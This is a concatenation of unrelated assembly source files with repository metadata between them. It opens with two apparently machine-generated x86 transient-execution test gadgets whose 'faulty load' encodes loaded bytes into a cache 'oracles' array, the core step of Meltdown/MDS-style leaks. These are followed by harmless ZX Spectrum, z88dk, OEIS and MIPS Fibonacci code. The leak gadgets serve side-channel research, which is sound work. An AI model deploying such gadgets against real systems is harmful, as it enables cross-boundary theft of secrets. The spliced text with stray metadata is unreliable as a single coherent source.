2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_D_ht+0x1cdc7, %r12 nop nop nop dec %rdi movb (%r12), %al add %r11, %r11 lea addresses_normal_ht+0x1d81, %rsi lea addresses_normal_ht+0x73bf, %rdi nop nop nop nop xor $38926, %r13 mov $101, %rcx rep movsb nop nop nop nop nop add $50983, %rax lea addresses_D_ht+0x422f, %rsi nop nop add $44734, %r11 vmovups (%rsi), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %rcx nop inc %r12 lea addresses_WT_ht+0x116e7, %rsi lea addresses_WC_ht+0x3c47, %rdi nop sub $63809, %r9 mov $32, %rcx rep movsb nop nop nop nop nop inc %r9 lea addresses_A_ht+0x16dc7, %r12 nop nop add $58697, %r11 mov $0x6162636465666768, %r13 movq %r13, %xmm0 movups %xmm0, (%r12) nop nop nop nop nop and %rdi, %rdi lea addresses_WT_ht+0x1d4c6, %rsi lea addresses_A_ht+0x267, %rdi clflush (%rsi) inc %r13 mov $20, %rcx rep movsw nop nop nop nop and $63851, %r13 lea addresses_normal_ht+0x18937, %rcx nop nop nop nop nop add $41105, %r11 mov $0x6162636465666768, %rsi movq %rsi, %xmm2 movups %xmm2, (%rcx) nop nop nop nop nop inc %rsi pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r9 push %rax push %rbx push %rcx push %rdx // Store mov $0xa66250000000a5f, %r11 nop nop sub %rax, %rax mov $0x5152535455565758, %rbx movq %rbx, (%r11) nop xor %r11, %r11 // Store lea addresses_WT+0xec7, %rcx nop nop nop nop and $4677, %r12 movb $0x51, (%rcx) add %rdx, %rdx // Store mov $0x3c7, %rcx nop nop nop xor $37107, %rax mov $0x5152535455565758, %r12 movq %r12, %xmm5 vmovups %ymm5, (%rcx) nop nop xor %rbx, %rbx // Faulty Load mov $0x4c867e0000000dc7, %rax sub $57577, %r9 mov (%rax), %dx lea oracles, %r11 and $0xff, %rdx shlq $12, %rdx mov (%r11,%rdx,1), %rdx pop %rdx pop %rcx pop %rbx pop %rax pop %r9 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_NC', 'same': False, 'size': 8, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_NC', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'00': 4853} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.733696
2,999
0.658555
d6dd88a1bd55ffac45563540f1a74bb4de5eaa85
8,177
asm
Assembly
transformy/tables/gen/0009.asm
mborik/regression
25b5f2204ce668594449e8ce804779288b895ac0
[ "MIT" ]
3
2019-09-18T05:34:22.000Z
2020-12-04T17:46:52.000Z
transformy/tables/gen/0009.asm
mborik/regression
25b5f2204ce668594449e8ce804779288b895ac0
[ "MIT" ]
null
null
null
transformy/tables/gen/0009.asm
mborik/regression
25b5f2204ce668594449e8ce804779288b895ac0
[ "MIT" ]
1
2020-01-17T01:04:24.000Z
2020-01-17T01:04:24.000Z
ld a, 112 ld (basescradr + #00cd), a ld (basescradr + #0cf1), a ld a, 228 ld (basescradr + #01cd), a ld (basescradr + #09b0), a ld (basescradr + #09f1), a ld (basescradr + #0d4f), a ld a, 68 ld hl, basescradr + #01ce ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld (basescradr + #01ee), a ld a, 64 ld (basescradr + #01d4), a ld (basescradr + #01f4), a ld (basescradr + #05d4), a ld (basescradr + #0953), a ld (basescradr + #0d33), a ld (basescradr + #0db2), a ld a, 232 ld (basescradr + #02cd), a ld a, 136 ld d,a ld e,a ld (basescradr + #03ec), de ld hl, basescradr + #07eb ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0b0b ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0b2a ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0b49 ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0b6a ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0b8c ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0bae ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld (basescradr + #0bcf), de ld hl, basescradr + #0f0a ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0f29 ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0f49 ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0f6b ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0f8d ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld (basescradr + #0faf), de ld (basescradr + #03cd), a ld (basescradr + #07cd), a ld (basescradr + #0fd0), a ld a, 7 ld (basescradr + #04cc), a ld (basescradr + #0848), a ld (basescradr + #08ac), a ld a, 252 ld (basescradr + #04cd), a ld (basescradr + #082e), a ld (basescradr + #0c6f), a ld a, 14 ld (basescradr + #05cc), a ld (basescradr + #06cc), a ld (basescradr + #0948), a ld (basescradr + #09f0), a ld (basescradr + #0a29), a ld (basescradr + #0a48), a ld (basescradr + #0a69), a ld (basescradr + #0d48), a ld (basescradr + #0dcf), a ld (basescradr + #0e6a), a ld a, 236 ld (basescradr + #05cd), a ld (basescradr + #096f), a ld (basescradr + #0a6f), a ld (basescradr + #0db0), a ld (basescradr + #0eb0), a xor a ld hl, basescradr + #08ef ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0cf0 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #1010 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #00ee), a ld (basescradr + #01f5), a ld (basescradr + #02ee), a ld (basescradr + #05d5), a ld (basescradr + #05f4), a ld (basescradr + #06ce), a ld (basescradr + #0914), a ld (basescradr + #0928), a ld (basescradr + #0934), a ld (basescradr + #0973), a ld (basescradr + #0ace), a ld (basescradr + #0cce), a ld (basescradr + #0cef), a ld (basescradr + #0d09), a ld (basescradr + #0d14), a ld (basescradr + #0e09), a ld a, 238 ld d,a ld e,a ld (basescradr + #098b), de ld (basescradr + #0a6a), de ld (basescradr + #0d49), de ld (basescradr + #0e49), de ld (basescradr + #01ec), a ld (basescradr + #02ec), a ld (basescradr + #06cd), a ld (basescradr + #0949), a ld (basescradr + #096a), a ld (basescradr + #098f), a ld (basescradr + #09ad), a ld (basescradr + #09d0), a ld (basescradr + #0a2e), a ld (basescradr + #0a49), a ld (basescradr + #0a8c), a ld (basescradr + #0a8f), a ld (basescradr + #0ad0), a ld (basescradr + #0d29), a ld (basescradr + #0d6b), a ld (basescradr + #0d6f), a ld (basescradr + #0d8c), a ld (basescradr + #0d8f), a ld (basescradr + #0dd0), a ld (basescradr + #0e29), a ld (basescradr + #0e6b), a ld (basescradr + #0e6f), a ld (basescradr + #0e8f), a ld (basescradr + #0ed0), a ld a, 8 ld (basescradr + #07cc), a ld (basescradr + #0b0a), a ld (basescradr + #0b29), a ld (basescradr + #0b48), a ld (basescradr + #0b8b), a ld (basescradr + #0bad), a ld (basescradr + #0f8c), a ld (basescradr + #0fae), a ld a, 255 ld d,a ld e,a ld (basescradr + #00ec), de ld (basescradr + #04ec), de ld hl, basescradr + #080b ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #082a ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0849 ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0869 ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #088b ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #08ad ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0c0b ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0c2a ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0c49 ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0c6a ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld hl, basescradr + #0c8c ld (hl), a inc hl ld (hl), a inc hl ld (hl), a inc hl ld (hl), a ld (basescradr + #0cae), de ld (basescradr + #08cf), a ld (basescradr + #0cd0), a ld a, 2 ld (basescradr + #02eb), a ld (basescradr + #090a), a ld (basescradr + #0af0), a ld (basescradr + #0dad), a ld (basescradr + #0ecf), a ld a, 128 ld (basescradr + #03ee), a ld (basescradr + #04ee), a ld (basescradr + #07ee), a ld (basescradr + #084f), a ld (basescradr + #0a90), a ld (basescradr + #0b0e), a ld (basescradr + #0b4f), a ld (basescradr + #0b90), a ld (basescradr + #0bf1), a ld (basescradr + #0cd1), a ld (basescradr + #0ed1), a ld (basescradr + #0f2f), a ld (basescradr + #0f4f), a ld (basescradr + #0f90), a ld (basescradr + #0fd1), a ld a, 15 ld (basescradr + #04eb), a ld (basescradr + #0cad), a ld a, 196 ld (basescradr + #05ee), a ld (basescradr + #094f), a ld (basescradr + #0d90), a ld (basescradr + #0dd1), a ld a, 110 ld (basescradr + #06eb), a ld (basescradr + #0aad), a ld (basescradr + #0d0a), a ld a, 192 ld (basescradr + #06ee), a ld (basescradr + #08f1), a ld (basescradr + #0a4f), a ld (basescradr + #0c90), a ld a, 1 ld (basescradr + #080a), a ld (basescradr + #088a), a ld a, 6 ld (basescradr + #0929), a ld (basescradr + #09ce), a ld (basescradr + #0a0a), a ld (basescradr + #0e48), a ld a, 63 ld (basescradr + #0c0a), a ld (basescradr + #0c48), a ld (basescradr + #0ccf), a ld a, 240 ld (basescradr + #08b0), a ld (basescradr + #0c0e), a ld a, 3 ld (basescradr + #0829), a ld (basescradr + #0c8b), a ld a, 127 ld (basescradr + #08f0), a ld (basescradr + #0c29), a ld a, 224 ld (basescradr + #0ab0), a ld (basescradr + #0af1), a ld (basescradr + #0c4f), a ld (basescradr + #0e4f), a ld (basescradr + #0e90), a ld a, 248 ld (basescradr + #086f), a ld (basescradr + #0cb0), a ld a, 46 ld (basescradr + #0969), a ld (basescradr + #0a8b), a ld (basescradr + #0d6a), a ld (basescradr + #0e8c), a ld a, 31 ld (basescradr + #08ce), a ld a, 254 ld (basescradr + #08d0), a ret
18.66895
29
0.544209
e9415da0055da529e2dc4aeffebd3afe2bf4e80d
309
asm
Assembly
libsrc/_DEVELOPMENT/arch/zx/tape/c/sccz80/zx_tape_load_block_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/zx/tape/c/sccz80/zx_tape_load_block_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/zx/tape/c/sccz80/zx_tape_load_block_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; unsigned char zx_tape_load_block(void *dst, unsigned int len, unsigned char type) SECTION code_clib SECTION code_arch PUBLIC zx_tape_load_block_callee EXTERN asm_zx_tape_load_block zx_tape_load_block_callee: pop af pop bc pop de pop ix push af ld a,c jp asm_zx_tape_load_block
15.45
83
0.76699
c59b8fd9d642b36bdcbbc1dfa24a88e655ae058c
322
asm
Assembly
programs/oeis/034/A034871.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/034/A034871.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/034/A034871.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A034871: Odd-numbered rows of Pascal's triangle. ; 1,1,1,3,3,1,1,5,10,10,5,1,1,7,21,35,35,21,7,1,1,9,36,84,126,126,84,36,9,1,1,11,55,165,330,462,462,330,165,55,11,1,1,13,78,286,715,1287,1716,1716,1287,715,286,78,13,1,1,15,105,455,1365,3003,5005 mov $1,1 lpb $0 sub $2,2 add $0,$2 add $1,2 lpe bin $1,$0 mov $0,$1
26.833333
195
0.642857
f9eb714154caff9e4c47f892165438c48822b2fa
346
asm
Assembly
programs/oeis/029/A029048.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/029/A029048.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/029/A029048.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A029048: Expansion of 1/((1-x)(1-x^3)(1-x^6)(1-x^11)). ; 1,1,1,2,2,2,4,4,4,6,6,7,10,10,11,14,14,16,20,20,22,26,27,30,35,36,39,44,46,50,56,58,62,69,72,77,85,88,93,102,106,112,122,126,133,144,149,157,169,174,183,196,202,212 lpb $0 mov $2,$0 sub $0,3 seq $2,25783 ; Expansion of 1/((1-x)(1-x^6)(1-x^11)). add $1,$2 lpe add $1,1 mov $0,$1
28.833333
166
0.589595
de62d7acc757d420d7287bca45966276518e9514
1,095
asm
Assembly
fib2.asm
Zaki-Mao/MIPS-to-implement-Fibonacci-Sequence
41e6bb3d056c2691c8138ed080eb3184728e15d5
[ "MIT" ]
null
null
null
fib2.asm
Zaki-Mao/MIPS-to-implement-Fibonacci-Sequence
41e6bb3d056c2691c8138ed080eb3184728e15d5
[ "MIT" ]
null
null
null
fib2.asm
Zaki-Mao/MIPS-to-implement-Fibonacci-Sequence
41e6bb3d056c2691c8138ed080eb3184728e15d5
[ "MIT" ]
null
null
null
#programmer: Mao Zunjie 18098531-i011-0019 lab1.2 #This program can output fibonacci sequence f(1),f(2)...f(n) , different from single number in lab1.1, it's a sequence .data array: .space 1024 inputbegin: .asciiz "Input a number:" runend: .asciiz "\nend\n" .text li $v0,4 la $a0,inputbegin #user input the number syscall li $v0,5 syscall move $t2,$v0 move $t3,$t2 li $t0,1 #set array(0) and array(1) = 1 la $t1,array sw $t0,($t1) sw $t0,4($t1) blt $t2,3,print #if n<3 ,just print,needless of recursion Fib: addi $sp,$sp,-8 sw $ra,0($sp) sw $t2,4($sp) #base case beq $t2,2,re #when $t2=2 ,we're gonna return addi $t2,$t2,-1 jal Fib # Fib(n)=Fib(n-1)+Fib(n-2) move $t4,$0 lw $a0,($t1) lw $a1,4($t1) add $t4,$a1,$a0 sw $t4,8($t1) addi $t1,$t1,4 beq $t2,$t3,print re: lw $ra,0($sp) addi $t2,$t2,1 addi $sp,$sp,8 jr $ra print: la $t1,array li $t3,1 loop1: lw $a0,($t1) li $v0,1 syscall li $v0,11 li $a0,' ' syscall beq $t3,$t2,end addi $t3,$t3,1 addi $t1,$t1,4 b loop1 end: li $v0,4 la $a0,runend syscall li $v0,10 syscall
17.109375
118
0.609132
de64c2758451f8c02fd7f9353541df06301039ef
7,344
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_20035_2387.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_20035_2387.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_20035_2387.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WC_ht+0xfb34, %rsi lea addresses_normal_ht+0xdb97, %rdi nop nop nop nop cmp $52292, %r13 mov $110, %rcx rep movsq nop nop nop nop nop add $59320, %r14 lea addresses_D_ht+0x8e34, %r9 and $63759, %rax movl $0x61626364, (%r9) cmp $21621, %rsi lea addresses_D_ht+0x53f4, %r13 nop nop nop and $13613, %rcx mov $0x6162636465666768, %rdi movq %rdi, %xmm5 vmovups %ymm5, (%r13) nop nop nop nop nop cmp $45402, %r9 lea addresses_WC_ht+0x8fce, %rsi lea addresses_A_ht+0x682c, %rdi sub %rax, %rax mov $116, %rcx rep movsw nop xor $20555, %r9 lea addresses_WT_ht+0x102a4, %rax nop nop nop nop add %rdi, %rdi mov (%rax), %r13d nop nop and %r9, %r9 lea addresses_WC_ht+0x107e0, %r13 clflush (%r13) nop nop nop nop and $61410, %rsi vmovups (%r13), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %rdi nop nop nop nop nop cmp $50720, %rcx pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r13 push %rbp push %rcx push %rdx // Store lea addresses_WT+0x16734, %rdx clflush (%rdx) nop sub $36982, %r11 mov $0x5152535455565758, %rbp movq %rbp, %xmm7 vmovups %ymm7, (%rdx) nop xor $21965, %rcx // Store lea addresses_PSE+0x1286c, %rbp nop nop cmp %r11, %r11 mov $0x5152535455565758, %rcx movq %rcx, (%rbp) // Exception!!! nop nop nop nop mov (0), %r12 nop nop nop nop nop xor %rbp, %rbp // Store lea addresses_normal+0x134, %rcx clflush (%rcx) nop nop nop nop nop and $58301, %r13 movl $0x51525354, (%rcx) cmp %rcx, %rcx // Store lea addresses_WT+0x14f34, %rdx nop nop nop nop nop dec %rbp movl $0x51525354, (%rdx) nop nop and $6080, %r11 // Store lea addresses_normal+0x17084, %r10 nop nop nop inc %rcx movl $0x51525354, (%r10) cmp %r12, %r12 // Store mov $0x2300530000000b34, %rdx dec %rbp movb $0x51, (%rdx) cmp %r10, %r10 // Store lea addresses_US+0x1df34, %rbp nop nop sub %rdx, %rdx movw $0x5152, (%rbp) nop nop nop nop nop add %r13, %r13 // Faulty Load lea addresses_WT+0x16734, %rdx nop nop nop sub $58788, %rcx vmovups (%rdx), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %r11 lea oracles, %rcx and $0xff, %r11 shlq $12, %r11 mov (%rcx,%r11,1), %r11 pop %rdx pop %rcx pop %rbp pop %r13 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 9, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}} {'00': 20035} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 